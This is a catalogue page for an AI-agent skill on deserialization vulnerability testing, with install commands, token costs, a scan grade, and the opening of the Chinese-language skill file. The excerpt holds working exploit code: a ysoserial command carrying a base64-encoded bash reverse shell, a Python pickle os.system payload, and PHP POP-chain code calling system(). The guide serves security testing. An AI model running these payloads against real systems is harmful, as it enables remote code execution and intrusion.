deserialization-testing

deserialization-testing is a skill for Claude Code, Codex from liuxinye23/CyberStrikeAI. It costs 16 tokens per session (1,629 once invoked), scanned A, original, Apache-2.0.

A guide to testing deserialization vulnerabilities, which can occur when software turns untrusted saved data back into objects.

In plain words
What is it for?
Checking serialized data in cookies, sessions, APIs, uploads, caches, and message queues across Java, PHP, Python, and .NET applications.
Why use it?
It helps identify places where crafted data may cause code execution or service disruption.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/liuxinye23/cyberstrikeai/deserialization-testing
Any agent
npx skills add liuxinye23/CyberStrikeAI --skill deserialization-testing
Clone the repo
git clone --depth 1 https://github.com/liuxinye23/CyberStrikeAI

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for deserialization-testing

README.md
[![agentmods](https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/deserialization-testing.svg)](https://agentmods.dev/skills/liuxinye23/cyberstrikeai/deserialization-testing)
Your own site
<a href="https://agentmods.dev/skills/liuxinye23/cyberstrikeai/deserialization-testing"><img src="https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/deserialization-testing.svg" alt="Measured on agentmods" height="20"></a>
Per session 16 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,629 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00016 $0.01629
Opus 5 $0.00008 $0.00814
Sonnet 5 $0.00003 $0.00326
Haiku 4.5 $0.00002 $0.00163

Measured 5d ago against content hash f38b15bffb0a, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-05, from the pricing page.

Security

Grade A, and why

deserialization-testing scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ('id',))
skills/deserialization-testing/SKILL.md · 310 lines

How it starts

The opening of the file, as written. The whole thing — 310 lines — stays where its author put it; the contents beside it link to each section on GitHub.

反序列化漏洞测试

概述

反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。

漏洞原理

应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。

常见格式

Java

常见库:

  • Java原生序列化
  • Jackson
  • Fastjson
  • XStream
  • Apache Commons Collections

PHP

常见函数:

  • unserialize()
  • json_decode()

Python

常见模块:

  • pickle
  • yaml
  • json

.NET

常见类:

  • BinaryFormatter
  • SoapFormatter
  • DataContractSerializer

测试方法

1. 识别序列化数据

Java序列化特征:

AC ED 00 05 (十六进制)
rO0 (Base64)

PHP序列化特征:

O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}

Python pickle特征:

\x80\x03

2. 检测反序列化点

常见位置:

  • Cookie值
  • Session数据
  • API参数
  • 文件上传
  • 缓存数据
  • 消息队列

3. Java反序列化

Apache Commons Collections利用:

// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

常见Gadget链:

  • CommonsCollections1-7
  • Spring1-2
  • ROME
  • Jdk7u21

4. PHP反序列化

基础测试:

<?php
class Test {
    public $cmd = "id";
    function __destruct() {
        system($this->cmd);
    }
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>

魔术方法利用:

  • __destruct()
  • __wakeup()
  • __toString()
  • __call()

5. Python pickle

基础测试:

import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('id',))

pickle.dumps(RCE())

利用技术

Java RCE

使用ysoserial:

# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin

# Base64编码
base64 -w 0 payload.bin

手动构造:

// 使用Gadget链构造恶意对象
// 参考ysoserial源码

PHP RCE

利用POP链:

<?php
class A {
    public $b;
    function __destruct() {
        $this->b->test();
    }
}

class B {
    public $c;
    function test() {
        call_user_func($this->c, "id");
    }
}

$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>

Python RCE

Read the full file on GitHub · 310 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 310 lines · 16 tokens per session scan A f38b15bffb0a

Subscribe to this mod's changes

deserialization-testing is a skill published in the GitHub repository liuxinye23/CyberStrikeAI (0 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 16 tokens to every session and 1,629 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Related

Other skills, from other repositories

systematic-debugging

Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.

obra/superpowers · 21 tokens

local-ai-agents

Build local-first AI agents that run entirely on a developer workstation with Microsoft Foundry Local and Qwen function-calling models. Covers Small Language Models (SLMs), the OpenAI-compatible local endpoint, sandboxed local tools, local RAG with Chroma, local MCP servers, hybrid cloud/local routing, and the…

microsoft/ai-agents-for-beginners · 200 tokens

next-cache-components-adoption

Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…

vercel/next.js · 95 tokens

next-cache-components-optimizer

Drive a Next.js route to instant navigation by setting up an agentic loop, under Cache Components / PPR, on initial load (hard navigation) and client-side navigation (soft navigation). Encode the goal as a failing @next/playwright instant() e2e and work it to green, one verified route at a time; the shipped test then…

vercel/next.js · 170 tokens

next-partial-prefetching-adoption

Turn on Partial Prefetching in a Next.js app and work through the insights it surfaces. Use when the user wants to enable or adopt Partial Prefetching, flip the partialPrefetching flag, opt routes in with export const prefetch = 'partial', audit Link prefetch={true} behavior, preserve existing prefetched UI with…

vercel/next.js · 103 tokens

chronicle

Analyze Copilot session history for standup reports, usage tips, session search, and session reindexing. Use when the user asks for a standup, daily summary, usage tips, workflow recommendations, wants to search or find past sessions by keyword/file/PR, wants to reindex their session store, or asks about deleting…

microsoft/vscode · 72 tokens